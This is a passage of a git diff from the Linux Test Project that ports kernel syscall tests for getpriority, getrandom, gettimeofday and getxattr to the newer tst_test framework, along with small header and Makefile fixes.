- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *
- * Usage:  <for command-line>
- *  getpriority01 [-c n] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
- *
+ * Verify that getpriority(2) succeeds get the scheduling priority of
+ * the current process, process group or user, and the priority values
+ * are in the ranges of [0, 0], [0, 0] and [-20, 0] by default for the
+ * flags PRIO_PROCESS, PRIO_PGRP and PRIO_USER respectively.
  */
 
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/types.h>
 #include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/param.h>
-#include <sys/time.h>
 #include <sys/resource.h>
+#include <sys/time.h>
+#include "tst_test.h"
 
-#include "test.h"
+static struct tcase {
+	int which;
+	int min;
+	int max;
+} tcases[] = {
+	{PRIO_PROCESS, 0, 0},
+	{PRIO_PGRP, 0, 0},
+	{PRIO_USER, -20, 0}
+};
 
-char *TCID = "getpriority01";
-int TST_TOTAL = 1;
-
-void setup();			/* setup function for the test */
-void cleanup();			/* cleanup function for the test */
-
-int prio_which[] = { PRIO_PROCESS, PRIO_PGRP, PRIO_USER };
-
-int main(int ac, char **av)
+static void verify_getpriority(unsigned int n)
 {
-	int lc;
-	int ind;
-	int which;		/* scheduling priority category */
+	struct tcase *tc = &tcases[n];
 
-	TST_TOTAL = sizeof(prio_which) / sizeof(int);
+	TEST(getpriority(tc->which, 0));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (ind = 0; ind < TST_TOTAL; ind++) {
-			which = prio_which[ind];
-
-			/*
-			 * Invoke getpriority with the specified
-			 * 'which' argument for the calling process.
-			 */
-			TEST(getpriority(which, 0));
-
-			if (TEST_RETURN < 0 && TEST_ERRNO != 0) {
-				tst_resm(TFAIL, "getpriority(%d, 0) "
-					 "Failed, errno=%d : %s",
-					 which, TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TPASS, "getpriority(%d, 0) returned "
-					 "%ld priority value",
-					 which, TEST_RETURN);
-			}
-		}
+	if (TEST_ERRNO != 0) {
+		tst_res(TFAIL | TTERRNO, "getpriority(%d, 0) failed",
+			tc->which);
+		return;
 	}
 
-	cleanup();
+	if (TEST_RETURN < tc->min || TEST_RETURN > tc->max) {
+		tst_res(TFAIL, "getpriority(%d, 0) returned %ld, "
+			"expected in the range of [%d, %d]",
+			tc->which, TEST_RETURN, tc->min, tc->max);
+		return;
+	}
 
-	tst_exit();
+	tst_res(TPASS, "getpriority(%d, 0) returned %ld",
+		tc->which, TEST_RETURN);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.tid = "getpriority01",
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_getpriority,
+};
diff --git a/testcases/kernel/syscalls/getpriority/getpriority02.c b/testcases/kernel/syscalls/getpriority/getpriority02.c
index b253a00..d577b2b 100644
--- a/testcases/kernel/syscalls/getpriority/getpriority02.c
+++ b/testcases/kernel/syscalls/getpriority/getpriority02.c
@@ -1,181 +1,77 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ *  11/2016 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
- * Test Name: getpriority02
- *
- * Test Description:
- *  Verify that,
- *   1) getpriority() sets errno to ESRCH  if no process was located
- *	was located for 'which' and 'who' arguments.
- *   2) getpriority() sets errno to EINVAL if 'which' argument was
- *      not one of PRIO_PROCESS, PRIO_PGRP, or PRIO_USER.
- *
- * Expected Result:
- *  getpriority() should fail with return value -1 and set expected errno.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	if errno set == expected errno
- *   		Issue sys call fails with expected return value and errno.
- *   	Otherwise,
- *		Issue sys call fails with unexpected errno.
- *   Otherwise,
- *	Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *
- * Usage:  <for command-line>
- *  getpriority02 [-c n] [-e] [-i n] [-I x] [-p x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
+ * Verify that,
+ *  1) getpriority(2) fails with -1 and sets errno to EINVAL if 'which'
+ *     argument was not one of PRIO_PROCESS, PRIO_PGRP, or PRIO_USER.
+ *  2) getpriority(2) fails with -1 and sets errno to ESRCH if no
+ *     process was located for 'which' and 'who' arguments.
  */
 
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/types.h>
 #include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/param.h>
-#include <sys/time.h>
 #include <sys/resource.h>
+#include <sys/time.h>
+#include "tst_test.h"
 
-#include "test.h"
+#define INVAL_FLAG	-1
+#define INVAL_ID	-1
 
-#define INVAL_PID	-1
-#define INVAL_FLAG      -1
-
-char *TCID = "getpriority02";
-int TST_TOTAL = 4;
-
-struct test_case_t {		/* test case struct. to hold ref. test cond's */
-	int pro_which;
-	uid_t pro_uid;
-	char *desc;
+static struct tcase {
+	int which;
+	int who;
 	int exp_errno;
-} Test_cases[] = {
-	{
-	INVAL_FLAG, 0, "Invalid 'which' value specified", EINVAL}, {
-	PRIO_PROCESS, INVAL_PID, "Invalid 'who' value specified", ESRCH}, {
-	PRIO_PGRP, INVAL_PID, "Invalid 'who' value specified", ESRCH}, {
-	PRIO_USER, INVAL_PID, "Invalid 'who' value specified", ESRCH}, {
-	0, 0, NULL, 0}
+} tcases[] = {
+	/* test 1 */
+	{INVAL_FLAG, 0, EINVAL},
+
+	/* test 2 */
+	{PRIO_PROCESS, INVAL_ID, ESRCH},
+	{PRIO_PGRP, INVAL_ID, ESRCH},
+	{PRIO_USER, INVAL_ID, ESRCH}
 };
 
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void verify_getpriority(unsigned int n)
 {
-	int lc;
-	int ind;		/* counter variable for test case looping */
-	char *test_desc;	/* test specific error message */
-	int which;		/* process priority category */
-	uid_t who;		/* process uid of the test process */
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(getpriority(tc->which, tc->who));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (ind = 0; ind < TST_TOTAL; ind++) {
-			which = Test_cases[ind].pro_which;
-			who = Test_cases[ind].pro_uid;
-			test_desc = Test_cases[ind].desc;
-
-			if (who == 0) {
-				/* Get the actual uid of the process */
-				who = getuid();
-			}
-
-			/*
-			 * Invoke getpriority with the specified
-			 * 'which' and 'who' arguments and verify
-			 * that it fails with expected errno.
-			 */
-			TEST(getpriority(which, who));
-
-			/* check return code from getpriority(2) */
-			if (TEST_RETURN < 0) {
-				if (TEST_ERRNO == Test_cases[ind].exp_errno) {
-					tst_resm(TPASS, "getpriority(2) fails, "
-						 "%s, errno:%d",
-						 test_desc, TEST_ERRNO);
-				} else {
-					tst_resm(TFAIL, "getpriority() fails, "
-						 "%s, errno:%d, expected errno:"
-						 "%d", test_desc, TEST_ERRNO,
-						 Test_cases[ind].exp_errno);
-				}
-			} else {
-				tst_resm(TFAIL, "getpriority() returned %ld, "
-					 "expected -1, errno:%d", TEST_RETURN,
-					 Test_cases[ind].exp_errno);
-			}
-		}
-
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "getpriority(%d, %d) succeeds unexpectedly, "
+			       "returned %li", tc->which, tc->who, TEST_RETURN);
+		return;
 	}
 
-	cleanup();
+	if (tc->exp_errno != TEST_ERRNO) {
+		tst_res(TFAIL | TTERRNO,
+			"getpriority(%d, %d) should fail with %s",
+			tc->which, tc->who, tst_strerrno(tc->exp_errno));
+		return;
+	}
 
-	tst_exit();
+	tst_res(TPASS | TTERRNO, "getpriority(%d, %d) fails as expected",
+		tc->which, tc->who);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.tid = "getpriority02",
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_getpriority,
+};
diff --git a/testcases/kernel/syscalls/getrandom/getrandom01.c b/testcases/kernel/syscalls/getrandom/getrandom01.c
index 103748a..7c7ed94 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom01.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom01.c
@@ -28,33 +28,25 @@
 
 #include "lapi/getrandom.h"
 #include "linux_syscall_numbers.h"
-#include "test.h"
+#include "tst_test.h"
 
-char *TCID = "getrandom01";
-static int modes[] = { 0, GRND_RANDOM, GRND_NONBLOCK,
-		       GRND_RANDOM | GRND_NONBLOCK };
+static int modes[] = {0, GRND_RANDOM, GRND_NONBLOCK,
+		      GRND_RANDOM | GRND_NONBLOCK};
 
-int TST_TOTAL = ARRAY_SIZE(modes);
-
-int main(int ac, char **av)
+static void verify_getrandom(unsigned int n)
 {
-	int lc, i;
+	TEST(tst_syscall(__NR_getrandom, NULL, 100, modes[n]));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(ltp_syscall(__NR_getrandom, NULL, 100, modes[i]));
-			if (TEST_RETURN == -1) {
-				tst_resm(TPASS, "getrandom returned %ld",
-						TEST_RETURN);
-			} else {
-				tst_resm(TFAIL | TTERRNO, "getrandom failed");
-			}
-		}
+	if (TEST_RETURN == -1) {
+		tst_res(TPASS | TTERRNO, "getrandom returned %ld",
+			TEST_RETURN);
+	} else {
+		tst_res(TFAIL | TTERRNO, "getrandom failed");
 	}
-	tst_exit();
 }
+
+static struct tst_test test = {
+	.tid = "getrandom01",
+	.tcnt = ARRAY_SIZE(modes),
+	.test = verify_getrandom,
+};
diff --git a/testcases/kernel/syscalls/getrandom/getrandom02.c b/testcases/kernel/syscalls/getrandom/getrandom02.c
index 0ac8bd2..ac20d79 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom02.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom02.c
@@ -29,61 +29,19 @@
 
 #include "lapi/getrandom.h"
 #include "linux_syscall_numbers.h"
-#include "test.h"
+#include "tst_test.h"
 
-char *TCID = "getrandom02";
 static int modes[] = { 0, GRND_RANDOM, GRND_NONBLOCK,
 		       GRND_RANDOM | GRND_NONBLOCK };
 
-int TST_TOTAL = ARRAY_SIZE(modes);
-
-static unsigned char buf[256];
-static size_t size = 256;
-
-static void fill(void);
-static int check_content(int nb);
-
-int main(int ac, char **av)
-{
-	int lc, i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			fill();
-
-			do {
-				TEST(ltp_syscall(__NR_getrandom, buf, size,
-					modes[i]));
-			} while ((modes[i] & GRND_NONBLOCK) && TEST_RETURN == -1
-				&& TEST_ERRNO == EAGAIN);
-
-			if (!check_content(TEST_RETURN))
-				tst_resm(TFAIL | TTERRNO, "getrandom failed");
-			else
-				tst_resm(TPASS, "getrandom returned %ld",
-						TEST_RETURN);
-		}
-	}
-	tst_exit();
-}
-
-static void fill(void)
-{
-	memset(buf, '\0', sizeof(buf));
-}
-
-static int check_content(int nb)
+static int check_content(unsigned char *buf, int nb)
 {
 	int table[256];
 	int i, index, max;
 
 	memset(table, 0, sizeof(table));
 
-	max = nb * 0.10;
+	max = 6 + nb * 0.2;
 
 	for (i = 0; i < nb; i++) {
 		index = buf[i];
@@ -96,3 +54,26 @@
 	}
 	return 1;
 }
+
+static void verify_getrandom(unsigned int n)
+{
+	unsigned char buf[256];
+
+	memset(buf, 0, sizeof(buf));
+
+	do {
+		TEST(tst_syscall(__NR_getrandom, buf, sizeof(buf), modes[n]));
+	} while ((modes[n] & GRND_NONBLOCK) && TEST_RETURN == -1
+		  && TEST_ERRNO == EAGAIN);
+
+	if (!check_content(buf, TEST_RETURN))
+		tst_res(TFAIL | TTERRNO, "getrandom failed");
+	else
+		tst_res(TPASS, "getrandom returned %ld", TEST_RETURN);
+}
+
+static struct tst_test test = {
+	.tid = "getrandom02",
+	.tcnt = ARRAY_SIZE(modes),
+	.test = verify_getrandom,
+};
diff --git a/testcases/kernel/syscalls/getrandom/getrandom03.c b/testcases/kernel/syscalls/getrandom/getrandom03.c
index 03950e0..e754ca3 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom03.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom03.c
@@ -32,33 +32,38 @@
 
 #include "lapi/getrandom.h"
 #include "linux_syscall_numbers.h"
-#include "test.h"
+#include "tst_test.h"
 
 #define MAX_SIZE 256
 
-char *TCID = "getrandom03";
-int TST_TOTAL = 5;
+static unsigned int sizes[] = {
+	1,
+	2,
+	3,
+	7,
+	8,
+	15,
+	22,
+	64,
+	127,
+};
 
-static char buf[256];
-
-int main(int ac, char **av)
+static void verify_getrandom(unsigned int n)
 {
-	int lc, i;
-	long size;
+	char buf[MAX_SIZE];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(tst_syscall(__NR_getrandom, buf, sizes[n], 0));
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (i = 0; i < TST_TOTAL; i++) {
-			size = random() % MAX_SIZE;
-			TEST(ltp_syscall(__NR_getrandom, buf, size, 0));
-			if (TEST_RETURN != size)
-				tst_resm(TFAIL | TTERRNO, "getrandom failed");
-			else
-				tst_resm(TPASS, "getrandom returned %ld",
-					TEST_RETURN);
-		}
+	if (TEST_RETURN != sizes[n]) {
+		tst_res(TFAIL | TTERRNO, "getrandom returned %li, expected %u",
+			TEST_RETURN, sizes[n]);
+	} else {
+		tst_res(TPASS, "getrandom returned %ld", TEST_RETURN);
 	}
-	tst_exit();
 }
+
+static struct tst_test test = {
+	.tid = "getrandom03",
+	.tcnt = ARRAY_SIZE(sizes),
+	.test = verify_getrandom,
+};
diff --git a/testcases/kernel/syscalls/getrandom/getrandom04.c b/testcases/kernel/syscalls/getrandom/getrandom04.c
index 10ab44b..0eae031 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom04.c
+++ b/testcases/kernel/syscalls/getrandom/getrandom04.c
@@ -33,30 +33,28 @@
 #include <sys/resource.h>
 #include "lapi/getrandom.h"
 #include "linux_syscall_numbers.h"
-#include "test.h"
+#include "tst_test.h"
 
-char *TCID = "getrandom04";
-int TST_TOTAL = 1;
-static char buf[128];
-
-int main(int ac, char **av)
+static void verify_getrandom(void)
 {
-	tst_parse_opts(ac, av, NULL, NULL);
+	char buf[128];
+	struct rlimit lold, lnew;
 
-	int r;
+	SAFE_GETRLIMIT(RLIMIT_NOFILE, &lold);
+	lnew.rlim_max = lold.rlim_max;
+	lnew.rlim_cur = 3;
+	SAFE_SETRLIMIT(RLIMIT_NOFILE, &lnew);
 
-	struct rlimit lim = {3, 3};
-
-	r = setrlimit(RLIMIT_NOFILE, &lim);
-
-	if (r == -1)
-		tst_brkm(TBROK | TTERRNO, NULL, "setrlimit failed");
-
-	TEST(ltp_syscall(__NR_getrandom, buf, 100, 0));
+	TEST(tst_syscall(__NR_getrandom, buf, 100, 0));
 	if (TEST_RETURN == -1)
-		tst_resm(TFAIL | TTERRNO, "getrandom failed");
+		tst_res(TFAIL | TTERRNO, "getrandom failed");
 	else
-		tst_resm(TPASS, "getrandom returned %ld", TEST_RETURN);
+		tst_res(TPASS, "getrandom returned %ld", TEST_RETURN);
 
-	tst_exit();
+	SAFE_SETRLIMIT(RLIMIT_NOFILE, &lold);
 }
+
+static struct tst_test test = {
+	.tid = "getrandom04",
+	.test_all = verify_getrandom,
+};
diff --git a/testcases/kernel/syscalls/getsid/getsid01.c b/testcases/kernel/syscalls/getsid/getsid01.c
index 5d5282b..0857468 100644
--- a/testcases/kernel/syscalls/getsid/getsid01.c
+++ b/testcases/kernel/syscalls/getsid/getsid01.c
@@ -58,7 +58,7 @@
 #define _GNU_SOURCE 1
 
 #include <errno.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <unistd.h>
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/gettid/Makefile b/testcases/kernel/syscalls/gettid/Makefile
index 77e928b..d060ca8 100644
--- a/testcases/kernel/syscalls/gettid/Makefile
+++ b/testcases/kernel/syscalls/gettid/Makefile
@@ -24,4 +24,8 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+ifeq ($(ANDROID), 1)
+FILTER_OUT_MAKE_TARGETS	+= gettid01
+endif
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c b/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c
index 8cb1f54..0ff001a 100644
--- a/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c
+++ b/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c
@@ -1,120 +1,110 @@
 /*
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * Copyright (C) 2002 Andi Kleen
+ * Copyright (C) 2017 Cyril Hrubis <chrubis@suse.cz>
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- * NAME
- *	gettimeofday02.c
- *
  * DESCRIPTION
  *	Check if gettimeofday is monotonous
  *
  * ALGORITHM
  *	Call gettimeofday() to get a t1 (fist value)
- *	call it again to get t2, see if t2 < t1, set t2 = t1, repeat for 30 sec
- *
- * USAGE:  <for command-line>
- *  gettimeofday02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *             -T   : Seconds to test gettimeofday (default 30)
- *
- * HISTORY
- *	05/2002 Written by Andi Kleen
- *
+ *	call it again to get t2, see if t2 < t1, set t2 = t1, repeat for 10 sec
  */
 
 #include <stdint.h>
-#include <stdio.h>
 #include <sys/time.h>
-#include <signal.h>
 #include <stdlib.h>
-#include "test.h"
 #include <sys/syscall.h>
 #include <unistd.h>
 #include <time.h>
 #include <errno.h>
 
+#include "tst_test.h"
+
 #define gettimeofday(a,b)  syscall(__NR_gettimeofday,a,b)
 
-char *TCID = "gettimeofday02";
-int TST_TOTAL = 1;
+static volatile sig_atomic_t done;
+static char *str_rtime;
+static int rtime = 10;
 
-int Tflag;
-char *tlen = "30";
+static struct tst_option options[] = {
+	{"T:", &str_rtime, "-T len   Test iteration runtime in seconds"},
+	{NULL, NULL, NULL},
+};
 
-sig_atomic_t done;
-
-option_t opts[] = { {"T:", &Tflag, &tlen}, {} };
-
-void breakout(int sig)
+static void breakout(int sig)
 {
-	done = 1;
+	done = sig;
 }
 
-void cleanup(void)
-{
-}
-
-void help(void)
-{
-	printf("  -T len  seconds to test gettimeofday (default %s)\n", tlen);
-}
-
-int main(int ac, char **av)
+static void verify_gettimeofday(void)
 {
 	struct timeval tv1, tv2;
+	unsigned long long cnt = 0;
 
-	tst_parse_opts(ac, av, opts, help);
+	done = 0;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
+	alarm(rtime);
 
-	tst_resm(TINFO, "checking if gettimeofday is monotonous, takes %ss",
-		 tlen);
-	signal(SIGALRM, breakout);
-	alarm(atoi(tlen));
+	if (gettimeofday(&tv1, NULL)) {
+		tst_res(TBROK | TERRNO, "gettimeofday() failed");
+		return;
+	}
 
-	if (gettimeofday(&tv1, NULL) != 0)
-		tst_brkm(TBROK, cleanup, "first gettimeofday() failed: %s\n",
-			 strerror(errno));
 	while (!done) {
-		if (gettimeofday(&tv2, NULL) != 0)
-			tst_brkm(TBROK, cleanup,
-				 "loop gettimeofday() failed: %s\n",
-				 strerror(errno));
+		if (gettimeofday(&tv2, NULL)) {
+			tst_res(TBROK | TERRNO, "gettimeofday() failed");
+			return;
+		}
 
 		if (tv2.tv_sec < tv1.tv_sec ||
 		    (tv2.tv_sec == tv1.tv_sec && tv2.tv_usec < tv1.tv_usec)) {
-			tst_resm(TFAIL,
-				 "Time is going backwards: old %jd.%jd vs new %jd.%jd!",
-				 (intmax_t) tv1.tv_sec, (intmax_t) tv1.tv_usec,
-				 (intmax_t) tv2.tv_sec, (intmax_t) tv2.tv_usec);
-			cleanup();
-			return 1;
+			tst_res(TFAIL,
+				"Time is going backwards: old %jd.%jd vs new %jd.%jd!",
+				(intmax_t) tv1.tv_sec, (intmax_t) tv1.tv_usec,
+				(intmax_t) tv2.tv_sec, (intmax_t) tv2.tv_usec);
+			return;
 		}
 
 		tv1 = tv2;
+		cnt++;
 	}
 
-	tst_resm(TPASS, "gettimeofday monotonous in %s seconds", tlen);
 
-	cleanup();
-	tst_exit();
+	tst_res(TINFO, "gettimeofday() called %llu times", cnt);
+	tst_res(TPASS, "gettimeofday() monotonous in %i seconds", rtime);
 }
+
+static void setup(void)
+{
+	if (str_rtime) {
+		rtime = atoi(str_rtime);
+		if (rtime <= 0)
+			tst_brk(TBROK, "Invalid runtime '%s'", str_rtime);
+		tst_set_timeout(rtime + 60);
+	}
+
+	SAFE_SIGNAL(SIGALRM, breakout);
+}
+
+static struct tst_test test = {
+	.tid = "gettimeofday02",
+	.setup = setup,
+	.options = options,
+	.test_all = verify_gettimeofday,
+};
diff --git a/testcases/kernel/syscalls/getuid/getuid01.c b/testcases/kernel/syscalls/getuid/getuid01.c
index 50fe1ec..cf8c774 100644
--- a/testcases/kernel/syscalls/getuid/getuid01.c
+++ b/testcases/kernel/syscalls/getuid/getuid01.c
@@ -34,7 +34,7 @@
  *    CO-PILOT		: Dave Fenner
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/getxattr/getxattr01.c b/testcases/kernel/syscalls/getxattr/getxattr01.c
index f99ed24..8c09aa8 100644
--- a/testcases/kernel/syscalls/getxattr/getxattr01.c
+++ b/testcases/kernel/syscalls/getxattr/getxattr01.c
@@ -28,7 +28,7 @@
  *
  * There are 4 test cases:
  * 1. Get an non-existing attribute,
- *    getxattr(2) should return -1 and set errno to ENOATTR
+ *    getxattr(2) should return -1 and set errno to ENODATA
  * 2. Buffer size is smaller than attribute value size,
  *    getxattr(2) should return -1 and set errno to ERANGE
  * 3. Get attribute, getxattr(2) should succeed
@@ -44,14 +44,14 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#ifdef HAVE_ATTR_XATTR_H
-#include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 #include "test.h"
 
 char *TCID = "getxattr01";
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 #define XATTR_TEST_KEY "user.testkey"
 #define XATTR_TEST_VALUE "this is a test value"
 #define XATTR_TEST_VALUE_SIZE 20
@@ -75,7 +75,7 @@
 	 .key = "user.nosuchkey",
 	 .value = NULL,
 	 .size = BUFFSIZE - 1,
-	 .exp_err = ENOATTR,
+	 .exp_err = ENODATA,
 	 },
 	{			/* case 01, small value buffer */
 	 .fname = filename,
@@ -171,9 +171,9 @@
 {
 	tst_rmdir();
 }
-#else /* HAVE_ATTR_XATTR_H */
+#else /* HAVE_SYS_XATTR_H */
 int main(int argc, char *argv[])
 {
-	tst_brkm(TCONF, NULL, "<attr/xattr.h> does not exist.");
+	tst_brkm(TCONF, NULL, "<sys/xattr.h> does not exist.");
 }
 #endif
diff --git a/testcases/kernel/syscalls/getxattr/getxattr02.c b/testcases/kernel/syscalls/getxattr/getxattr02.c
index 8c5be0f..d10cb54 100644
--- a/testcases/kernel/syscalls/getxattr/getxattr02.c
+++ b/testcases/kernel/syscalls/getxattr/getxattr02.c
@@ -49,14 +49,14 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#ifdef HAVE_ATTR_XATTR_H
-#include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 #include "test.h"
 
 char *TCID = "getxattr02";
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 #define XATTR_TEST_KEY "user.testkey"
 
 #define FIFO "getxattr02fifo"
@@ -160,9 +160,9 @@
 {
 	tst_rmdir();
 }
-#else /* HAVE_ATTR_XATTR_H */
+#else /* HAVE_SYS_XATTR_H */
 int main(int argc, char *argv[])
 {
-	tst_brkm(TCONF, NULL, "<attr/xattr.h> does not exist.");
+	tst_brkm(TCONF, NULL, "<sys/xattr.h> does not exist.");
 }
 #endif
diff --git a/testcases/kernel/syscalls/getxattr/getxattr03.c b/testcases/kernel/syscalls/getxattr/getxattr03.c
index 75339f7..06c9934 100644
--- a/testcases/kernel/syscalls/getxattr/getxattr03.c
+++ b/testcases/kernel/syscalls/getxattr/getxattr03.c
@@ -38,14 +38,14 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#ifdef HAVE_ATTR_XATTR_H
-#include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 #include "test.h"
 
 char *TCID = "getxattr03";
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 #define XATTR_TEST_KEY "user.testkey"
 #define XATTR_TEST_VALUE "test value"
 #define XATTR_TEST_VALUE_SIZE (sizeof(XATTR_TEST_VALUE) - 1)
@@ -110,9 +110,9 @@
 {
 	tst_rmdir();
 }
-#else /* HAVE_ATTR_XATTR_H */
+#else /* HAVE_SYS_XATTR_H */
 int main(int argc, char *argv[])
 {
-	tst_brkm(TCONF, NULL, "<attr/xattr.h> does not exist.");
+	tst_brkm(TCONF, NULL, "<sys/xattr.h> does not exist.");
 }
 #endif
diff --git a/testcases/kernel/syscalls/getxattr/getxattr04.c b/testcases/kernel/syscalls/getxattr/getxattr04.c
new file mode 100644
index 0000000..625337d
--- /dev/null
+++ b/testcases/kernel/syscalls/getxattr/getxattr04.c
@@ -0,0 +1,134 @@
+/*
+ * Copyright (c) 2017 Fujitsu Ltd.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
